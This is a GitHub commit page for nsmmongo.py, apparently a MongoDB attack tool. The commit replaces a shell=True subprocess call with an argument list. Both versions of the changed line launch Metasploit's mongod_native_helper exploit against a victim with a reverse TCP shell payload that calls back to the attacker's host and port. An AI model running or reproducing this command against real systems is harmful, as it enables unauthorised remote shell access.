Skip to content

Commit

Permalink
Avoid shell=True in subprocess.call()
Browse files Browse the repository at this point in the history
The code doesn't need the shell for anything so this should be more efficient, as well as potentially more secure, and hopefully instructive for readers of the code.

See also https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess
  • Loading branch information
tripleee committed Oct 30, 2018
1 parent 9f9890f commit 3db58ae
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion nsmmongo.py
Original file line number Diff line number Diff line change
Expand Up @@ -338,7 +338,7 @@ def enumDbs (mongoConn):

def msfLaunch():
try:
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])

except:
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
Expand Down

0 comments on commit 3db58ae

Please sign in to comment.